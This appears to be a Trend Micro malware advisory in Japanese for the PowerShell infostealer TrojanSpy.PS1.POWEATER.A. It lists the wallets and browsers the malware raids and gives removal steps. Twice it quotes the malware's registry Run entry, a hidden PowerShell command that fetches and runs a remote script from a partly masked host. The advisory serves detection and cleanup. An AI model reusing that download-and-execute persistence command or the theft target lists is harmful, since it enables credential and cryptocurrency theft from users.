TrojanSpy.PS1.POWEATER.A

2025年4月23日

解析者: Raighen Sanchez

プラットフォーム:

Windows

危険度:

ダメージ度:

感染力:

感染確認数:

情報漏えい:

マルウェアタイプ: スパイウェア/情報窃取型
破壊活動の有無: なし
暗号化: なし
感染報告の有無: はい

概要

感染経路インターネットからのダウンロード, 他のマルウェアからの作成

トレンドマイクロは、このスパイウェアをNoteworthy（要注意）に分類しました。

スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

スパイウェアは、ワーム活動の機能を備えていません。

スパイウェアは、不正リモートユーザからのコマンドを実行し、感染コンピュータを改ざんします。スパイウェアは、特定のWebサイトにアクセスし、情報を送受信します。

ただし、情報公開日現在、このWebサイトにはアクセスできません。

詳細

ファイルサイズ 26,470 bytes

タイプ PS1

メモリ常駐はい

発見日 2025年4月8日

ペイロードシステム情報の収集, URLまたはIPアドレスに接続, 情報収集

侵入方法

スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

スパイウェアは、以下の Mutex を作成し、メモリ上で自身の重複実行を避けます。

62088a7b-ae9f-6776-77a-6e9c921cb48e

自動実行方法

スパイウェアは、自身のコピーがWindows起動時に自動実行されるよう以下のレジストリ値を追加します。

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
Edge Sync = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command `"& { Invoke-Command -ScriptBlock ([scriptblock]::Create((Invoke-RestMethod -Uri 'https://{BLOCKED}rFixed/$subfolder/payload/remote/general.ps1' ))) -ArgumentList $build, $serverFixed, $subfolder }`""

感染活動

スパイウェアは、ワーム活動の機能を備えていません。

バックドア活動

スパイウェアは、不正リモートユーザからの以下のコマンドを実行します。

Execute Arbitrary Commands

スパイウェアは、以下のWebサイトにアクセスし、情報を送受信します。

https://{BLOCKED}tertoken.com:8081

情報漏えい

スパイウェアは、以下の情報を収集します。

Public IP Address
IP Address Location
OS Version
List of Installed Anti-Virus
Firewall Status
Total Uptime of System

その他

スパイウェアは、以下のWebサイトにアクセスして感染コンピュータのIPアドレスを収集します。

https://{BLOCKED}fy.org
http://{BLOCKED}o.io/$ipAddress/json

スパイウェアは、以下を実行します。

It steals local cryptocurrency wallet information from:
- Armory
- Atomic
- Bitcoin
- Binance
- Bytecoin
- Coinomi
- Dash
- Electrum
- Ethereum
- Exodus
- Guarda
- com.liberty.jaxx
- Litecoin
- MyMonero
- Monero GUI
- WallerWasabi
- Zcash
- Trezor
- TronLink
- Trustwallet
- Metamask
- Phantom
- Sollet
- Keplr
- Nifty Wallet
- Zelcore
- Zephyr
It steals browser data from:
- Brave
- Chrome
- Chromium
- Edge
- EpicPrivacy
- Iridium
- Opera
- OperaGX
- Vivaldi
- Yandex
- Firefox
- Pale Moon
- Waterfox
It steals information from cryptocurrency wallet in browsers:
- Argent X
- Binance Chain WAllet
- BitKeep Wallet
- BlockWallet
- Crypto.com
- Enkrypt
- Ethos Sui
- ExodusWeb3
- Guarda
- Keplr
- MathWallet
- Metamask
- Metamask2
- OKX
- OneKey
- Phantom
- Ronin
- SafePal
- TokenPocket
- Ton
- TronLink
- Trust Wallet
- Wombat
- Zeal
- Rabby
- Fireblocks
- Nifty Wallet
- Sollet
- PetraAptos
- XDEFI
- Nami
- TerraStation
- MartianAptos
- SuietSui
- Braavos
- FewchaMove
- NiftyWallet
- BraveWallet
- EqualWallet
- BitAppWallet
- iWallet
- AtomicWallet
- MewCx
- GuildWallet
- SaturnWallet
- HarmonyWallet
- PaliWallet
- BoltX
- LiqualityWallet
- MaiarDeFiWallet
- TempleWallet
- Ronin_E
- Yoroi_E
- MetaMask_O
It checks if the affected system has installed the following VPN service:
- Cisco Systems
- Palo Alto networks
- Fortinet
- OpenVPN
- WireGuard
It checks if the current user has admin privileges.

ただし、情報公開日現在、このWebサイトにはアクセスできません。

マルウェアは、脆弱性を利用した感染活動を行いません。

<補足>
バックドア活動

スパイウェアは、不正リモートユーザからの以下のコマンドを実行します。

任意のコマンドの実行

情報漏えい

スパイウェアは、以下の情報を収集します。

パブリックIPアドレス
IPアドレスの位置情報
オペレーティングシステム（OS）のバージョン
インストールされているウイルス対策製品の一覧
ファイアウォールのステータス
コンピュータの総稼働時間

スパイウェアは、以下を実行します。

以下の暗号資産（仮想通貨）のローカルウォレットに係る情報を収集します。
- Armory
- Atomic
- Bitcoin
- Binance
- Bytecoin
- Coinomi
- Dash
- Electrum
- Ethereum
- Exodus
- Guarda
- com.liberty.jaxx
- Litecoin
- MyMonero
- Monero GUI
- WallerWasabi
- Zcash
- Trezor
- TronLink
- Trustwallet
- Metamask
- Phantom
- Sollet
- Keplr
- Nifty Wallet
- Zelcore
- Zephyr
以下のブラウザからデータを収集します。
- Brave
- Chrome
- Chromium
- Edge
- EpicPrivacy
- Iridium
- Opera
- OperaGX
- Vivaldi
- Yandex
- Firefox
- Pale Moon
- Waterfox
ブラウザ内の以下の暗号資産ウォレットから情報を収集します。
- Argent X
- Binance Chain WAllet
- BitKeep Wallet
- BlockWallet
- Crypto.com
- Enkrypt
- Ethos Sui
- ExodusWeb3
- Guarda
- Keplr
- MathWallet
- Metamask
- Metamask2
- OKX
- OneKey
- Phantom
- Ronin
- SafePal
- TokenPocket
- Ton
- TronLink
- Trust Wallet
- Wombat
- Zeal
- Rabby
- Fireblocks
- Nifty Wallet
- Sollet
- PetraAptos
- XDEFI
- Nami
- TerraStation
- MartianAptos
- SuietSui
- Braavos
- FewchaMove
- NiftyWallet
- BraveWallet
- EqualWallet
- BitAppWallet
- iWallet
- AtomicWallet
- MewCx
- GuildWallet
- SaturnWallet
- HarmonyWallet
- PaliWallet
- BoltX
- LiqualityWallet
- MaiarDeFiWallet
- TempleWallet
- Ronin_E
- Yoroi_E
- MetaMask_O
感染コンピュータに以下のVPNサービスがインストールされているかどうかを確認します。
- Cisco Systems
- Palo Alto networks
- Fortinet
- OpenVPN
- WireGuard
現在ログインしているユーザが管理者権限を持っているかどうかを確認します。

対応方法

対応検索エンジン: 9.800

初回 VSAPI パターンバージョン 20.160.02

初回 VSAPI パターンリリース日 2025年4月23日

VSAPI OPR パターンバージョン 20.161.00

VSAPI OPR パターンリリース日 2025年4月24日

手順 1

Windows 7、Windows 8、Windows 8.1、および Windows 10 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム（OS）の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル／フォルダ／レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 3

このレジストリ値を削除します。

[ 詳細 ]

警告：レジストリはWindowsの構成情報が格納されているデータベースであり、レジストリの編集内容に問題があると、システムが正常に動作しなくなる場合があります。
レジストリの編集はお客様の責任で行っていただくようお願いいたします。弊社ではレジストリの編集による如何なる問題に対しても補償いたしかねます。
レジストリの編集前にこちらをご参照ください。

In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- Edge Sync = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command `"& { Invoke-Command -ScriptBlock ([scriptblock]::Create((Invoke-RestMethod -Uri 'https://{BLOCKED}rFixed/$subfolder/payload/remote/general.ps1' ))) -ArgumentList $build, $serverFixed, $subfolder }`""

手順 4

最新のバージョン（エンジン、パターンファイル）を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「TrojanSpy.PS1.POWEATER.A」と検出したファイルはすべて削除してください。検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。

ご利用はいかがでしたか？　アンケートにご協力ください